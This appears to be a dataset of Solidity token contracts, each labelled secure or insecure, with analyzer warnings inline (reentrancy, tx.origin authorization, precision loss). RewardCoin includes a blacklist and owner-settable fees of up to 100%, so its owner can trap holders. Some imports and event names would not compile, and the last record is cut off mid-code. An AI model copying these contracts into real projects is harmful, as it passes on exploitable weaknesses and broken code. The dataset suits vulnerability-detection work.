{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NebulousX is ERC20, Ownable {\n uint256 constant maxWalletFromStart = 1e17;\n uint256 constant appendMaxWalletPerMin = 2e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 startTradingTime;\n address public pool;\n\n constructor() ERC20(\"NebulousX\", \"NBX\") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d3b6c2e): NebulousX.maxPerWallet() uses timestamp for comparisons Dangerous comparisons startTradingTime == 0 res > totalSupply()\n\t// Recommendation for d3b6c2e: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 842d64b): NebulousX.maxPerWallet() uses a dangerous strict equality startTradingTime == 0\n\t// Recommendation for 842d64b: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxPerWallet() public view returns (uint256) {\n\t\t// timestamp | ID: d3b6c2e\n\t\t// incorrect-equality | ID: 842d64b\n if (startTradingTime == 0) return totalSupply();\n uint256 res = maxWalletFromStart +\n ((block.timestamp - startTradingTime) * appendMaxWalletPerMin) /\n (1 minutes);\n\t\t// timestamp | ID: d3b6c2e\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5bcc3ab): NebulousX._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxPerWallet(),wallet maximum)\n\t// Recommendation for 5bcc3ab: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: 5bcc3ab\n require(balanceOf(to) + amount <= maxPerWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ace95ca): NebulousX.tradeStart(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for ace95ca: Check that the address is not zero.\n function tradeStart(address poolAddress) public onlyOwner {\n startTradingTime = block.timestamp;\n\t\t// missing-zero-check | ID: ace95ca\n pool = poolAddress;\n }\n}", "file_name": "solidity_code_3238.sol", "secure": 0, "size_bytes": 2820 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20Burnable is Context, ERC20, Ownable {\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n}", "file_name": "solidity_code_3239.sol", "secure": 1, "size_bytes": 419 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n\n error MaxTxAmountReached();\n\n error MaxWalletLimitReached();\n\n error InValidTax();\n}", "file_name": "solidity_code_324.sol", "secure": 1, "size_bytes": 642 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"./ERC20Lockable.sol\" as ERC20Lockable;\n\ncontract Iklay is ERC20, ERC20Burnable, ERC20Lockable {\n constructor() ERC20(\"Iklay\", \"Iklay\") {\n _mint(msg.sender, 200000000 * (10 ** decimals()));\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public override checkLock(msg.sender, amount) returns (bool) {\n return super.transfer(to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override checkLock(from, amount) returns (bool) {\n return super.transferFrom(from, to, amount);\n }\n\n function balanceOf(\n address holder\n ) public view override returns (uint256 balance) {\n balance = super.balanceOf(holder);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f9c4391): Iklay.balanceOfavaliable(address) uses timestamp for comparisons Dangerous comparisons releaseTime <= block.timestamp\n\t// Recommendation for f9c4391: Avoid relying on 'block.timestamp'.\n function balanceOfavaliable(\n address holder\n ) public view returns (uint256 balance) {\n uint256 totalBalance = super.balanceOf(holder);\n uint256 avaliableBalance = 0;\n (uint256 lockedBalance, uint256 lockedLength) = totalLocked(holder);\n require(totalBalance >= lockedBalance);\n\n if (lockedLength > 0) {\n for (uint256 i = 0; i < lockedLength; i++) {\n (uint256 releaseTime, uint256 amount) = lockInfo(holder, i);\n\t\t\t\t// timestamp | ID: f9c4391\n if (releaseTime <= block.timestamp) {\n avaliableBalance += amount;\n }\n }\n }\n balance = totalBalance - lockedBalance + avaliableBalance;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n super._beforeTokenTransfer(from, to, amount);\n }\n}", "file_name": "solidity_code_3240.sol", "secure": 0, "size_bytes": 2224 }
{ "code": "// SPDX-License-Identifier: UNLICENCED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract RewardCoin is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool private swapping;\n\n address private marketingWallet;\n address private devWallet;\n\n uint256 public maxTransactionAmount;\n uint256 public swapTokensAtAmount;\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n mapping(address => uint256) private _holderFirstBuyTimestamp;\n\n mapping(address => bool) private _blacklist;\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n uint256 public buyMarketingFee;\n uint256 public buyLiquidityFee;\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n uint256 public sellMarketingFee;\n uint256 public sellLiquidityFee;\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n uint256 public tokensForLiquidity;\n uint256 public tokensForDev;\n\n uint256 launchedAt;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event DevWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event AutoNukeLP();\n\n event ManualNukeLP();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f5d0e6f): RewardCoin.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for f5d0e6f: Rename the local variables that shadow another component.\n constructor() ERC20(\"RewardCoin\", \"$REWARD\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 40;\n uint256 _buyLiquidityFee = 0;\n uint256 _buyDevFee = 0;\n\n uint256 _sellMarketingFee = 50;\n uint256 _sellLiquidityFee = 0;\n uint256 _sellDevFee = 0;\n\n uint256 totalSupply = 1 * 1e9 * 1e18;\n\n maxTransactionAmount = (totalSupply * 20) / 1000;\n maxWallet = (totalSupply * 20) / 1000;\n swapTokensAtAmount = (totalSupply * 10) / 10000;\n\n buyMarketingFee = _buyMarketingFee;\n buyLiquidityFee = _buyLiquidityFee;\n buyDevFee = _buyDevFee;\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n sellLiquidityFee = _sellLiquidityFee;\n sellDevFee = _sellDevFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n marketingWallet = address(owner());\n devWallet = address(owner());\n\n excludeFromFees(owner(), true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n excludeFromMaxTransaction(address(this), true);\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n swapEnabled = true;\n launchedAt = block.number;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a107960): RewardCoin.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for a107960: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\t\t// events-maths | ID: a107960\n swapTokensAtAmount = newAmount;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b85dc56): RewardCoin.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 18) \n\t// Recommendation for b85dc56: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n\t\t// events-maths | ID: b85dc56\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d94df5a): RewardCoin.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for d94df5a: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\t\t// events-maths | ID: d94df5a\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 62b2231): Missing events for critical arithmetic parameters.\n\t// Recommendation for 62b2231: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _devFee,\n uint256 _liquidityFee,\n uint256 _marketingFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 62b2231\n buyDevFee = _devFee;\n\t\t// events-maths | ID: 62b2231\n buyLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: 62b2231\n buyMarketingFee = _marketingFee;\n\t\t// events-maths | ID: 62b2231\n buyTotalFees = buyDevFee + buyLiquidityFee + buyMarketingFee;\n require(buyTotalFees <= 100);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 40aac3e): Missing events for critical arithmetic parameters.\n\t// Recommendation for 40aac3e: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _devFee,\n uint256 _liquidityFee,\n uint256 _marketingFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 40aac3e\n sellDevFee = _devFee;\n\t\t// events-maths | ID: 40aac3e\n sellLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: 40aac3e\n sellMarketingFee = _marketingFee;\n\t\t// events-maths | ID: 40aac3e\n sellTotalFees = sellDevFee + sellLiquidityFee + sellMarketingFee;\n require(sellTotalFees <= 100);\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n function blacklistAccount(\n address account,\n bool isBlacklisted\n ) public onlyOwner {\n _blacklist[account] = isBlacklisted;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 61dd0c7): RewardCoin.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for 61dd0c7: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\t\t// missing-zero-check | ID: 61dd0c7\n marketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1930e6f): RewardCoin.updateDevWallet(address).newWallet lacks a zerocheck on \t devWallet = newWallet\n\t// Recommendation for 1930e6f: Check that the address is not zero.\n function updateDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n\t\t// missing-zero-check | ID: 1930e6f\n devWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 04b043d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 04b043d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 4c01f0f): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 4c01f0f: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6808fd9): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 6808fd9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e2b91ab): RewardCoin._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for e2b91ab: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7192b68): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 7192b68: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0704082): RewardCoin._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for 0704082: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d897ffc): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for d897ffc: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f5ad7a5): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for f5ad7a5: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 487a8f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 487a8f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(\n !_blacklist[to] && !_blacklist[from],\n \"You have been blacklisted from transfering tokens\"\n );\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: 4c01f0f\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 04b043d\n\t\t\t// reentrancy-eth | ID: 487a8f6\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 487a8f6\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 6808fd9\n\t\t\t\t// divide-before-multiply | ID: 0704082\n\t\t\t\t// divide-before-multiply | ID: d897ffc\n fees = amount.mul(sellTotalFees).div(100);\n\t\t\t\t// divide-before-multiply | ID: 6808fd9\n\t\t\t\t// reentrancy-eth | ID: 487a8f6\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 0704082\n\t\t\t\t// reentrancy-eth | ID: 487a8f6\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: d897ffc\n\t\t\t\t// reentrancy-eth | ID: 487a8f6\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: e2b91ab\n\t\t\t\t// divide-before-multiply | ID: 7192b68\n\t\t\t\t// divide-before-multiply | ID: f5ad7a5\n fees = amount.mul(buyTotalFees).div(100);\n\t\t\t\t// divide-before-multiply | ID: f5ad7a5\n\t\t\t\t// reentrancy-eth | ID: 487a8f6\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: e2b91ab\n\t\t\t\t// reentrancy-eth | ID: 487a8f6\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 7192b68\n\t\t\t\t// reentrancy-eth | ID: 487a8f6\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 04b043d\n\t\t\t\t// reentrancy-eth | ID: 487a8f6\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 04b043d\n\t\t// reentrancy-eth | ID: 487a8f6\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 04b043d\n\t\t// reentrancy-events | ID: 3409670\n\t\t// reentrancy-benign | ID: da7b62f\n\t\t// reentrancy-no-eth | ID: 1be1157\n\t\t// reentrancy-eth | ID: 487a8f6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c100f45): RewardCoin.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp)\n\t// Recommendation for c100f45: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 04b043d\n\t\t// reentrancy-events | ID: 3409670\n\t\t// reentrancy-benign | ID: da7b62f\n\t\t// unused-return | ID: c100f45\n\t\t// reentrancy-eth | ID: 487a8f6\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3409670): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3409670: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: da7b62f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for da7b62f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1be1157): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1be1157: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 3409670\n\t\t// reentrancy-benign | ID: da7b62f\n\t\t// reentrancy-no-eth | ID: 1be1157\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;\n\n\t\t// reentrancy-no-eth | ID: 1be1157\n tokensForLiquidity = 0;\n\t\t// reentrancy-no-eth | ID: 1be1157\n tokensForMarketing = 0;\n\t\t// reentrancy-no-eth | ID: 1be1157\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 04b043d\n\t\t// reentrancy-events | ID: 3409670\n\t\t// reentrancy-benign | ID: da7b62f\n\t\t// reentrancy-eth | ID: 487a8f6\n (success, ) = address(devWallet).call{value: ethForDev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: 3409670\n\t\t\t// reentrancy-benign | ID: da7b62f\n addLiquidity(liquidityTokens, ethForLiquidity);\n\t\t\t// reentrancy-events | ID: 3409670\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n\t\t// reentrancy-events | ID: 04b043d\n\t\t// reentrancy-eth | ID: 487a8f6\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}", "file_name": "solidity_code_3241.sol", "secure": 0, "size_bytes": 24247 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IDiamondCut.sol\" as IDiamondCut;\n\nlibrary LibDiamond {\n bytes32 constant DIAMOND_STORAGE_POSITION =\n keccak256(\"diamond.standard.diamond.storage\");\n\n struct FacetAddressAndPosition {\n address facetAddress;\n uint96 functionSelectorPosition;\n }\n\n struct FacetFunctionSelectors {\n bytes4[] functionSelectors;\n uint256 facetAddressPosition;\n }\n\n struct DiamondStorage {\n mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition;\n mapping(address => FacetFunctionSelectors) facetFunctionSelectors;\n address[] facetAddresses;\n mapping(bytes4 => bool) supportedInterfaces;\n address contractOwner;\n }\n\n function diamondStorage()\n internal\n pure\n returns (DiamondStorage storage ds)\n {\n bytes32 position = DIAMOND_STORAGE_POSITION;\n assembly {\n ds.slot := position\n }\n }\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function setContractOwner(address _newOwner) internal {\n DiamondStorage storage ds = diamondStorage();\n address previousOwner = ds.contractOwner;\n ds.contractOwner = _newOwner;\n emit OwnershipTransferred(previousOwner, _newOwner);\n }\n\n function contractOwner() internal view returns (address contractOwner_) {\n contractOwner_ = diamondStorage().contractOwner;\n }\n\n function enforceIsContractOwner() internal view {\n require(\n msg.sender == diamondStorage().contractOwner,\n \"LibDiamond: Must be contract owner\"\n );\n }\n\n event DiamondCut(\n IDiamondCut.FacetCut[] _diamondCut,\n address _init,\n bytes _calldata\n );\n\n function diamondCut(\n IDiamondCut.FacetCut[] memory _diamondCut,\n address _init,\n bytes memory _calldata\n ) internal {\n for (\n uint256 facetIndex;\n facetIndex < _diamondCut.length;\n facetIndex++\n ) {\n IDiamondCut.FacetCutAction action = _diamondCut[facetIndex].action;\n if (action == IDiamondCut.FacetCutAction.Add) {\n addFunctions(\n _diamondCut[facetIndex].facetAddress,\n _diamondCut[facetIndex].functionSelectors\n );\n } else if (action == IDiamondCut.FacetCutAction.Replace) {\n replaceFunctions(\n _diamondCut[facetIndex].facetAddress,\n _diamondCut[facetIndex].functionSelectors\n );\n } else if (action == IDiamondCut.FacetCutAction.Remove) {\n removeFunctions(\n _diamondCut[facetIndex].facetAddress,\n _diamondCut[facetIndex].functionSelectors\n );\n } else {\n revert(\"LibDiamondCut: Incorrect FacetCutAction\");\n }\n }\n emit DiamondCut(_diamondCut, _init, _calldata);\n initializeDiamondCut(_init, _calldata);\n }\n\n function addFunctions(\n address _facetAddress,\n bytes4[] memory _functionSelectors\n ) internal {\n require(\n _functionSelectors.length > 0,\n \"LibDiamondCut: No selectors in facet to cut\"\n );\n DiamondStorage storage ds = diamondStorage();\n require(\n _facetAddress != address(0),\n \"LibDiamondCut: Add facet can't be address(0)\"\n );\n uint96 selectorPosition = uint96(\n ds.facetFunctionSelectors[_facetAddress].functionSelectors.length\n );\n\n if (selectorPosition == 0) {\n addFacet(ds, _facetAddress);\n }\n for (\n uint256 selectorIndex;\n selectorIndex < _functionSelectors.length;\n selectorIndex++\n ) {\n bytes4 selector = _functionSelectors[selectorIndex];\n address oldFacetAddress = ds\n .selectorToFacetAndPosition[selector]\n .facetAddress;\n require(\n oldFacetAddress == address(0),\n \"LibDiamondCut: Can't add function that already exists\"\n );\n addFunction(ds, selector, selectorPosition, _facetAddress);\n selectorPosition++;\n }\n }\n\n function replaceFunctions(\n address _facetAddress,\n bytes4[] memory 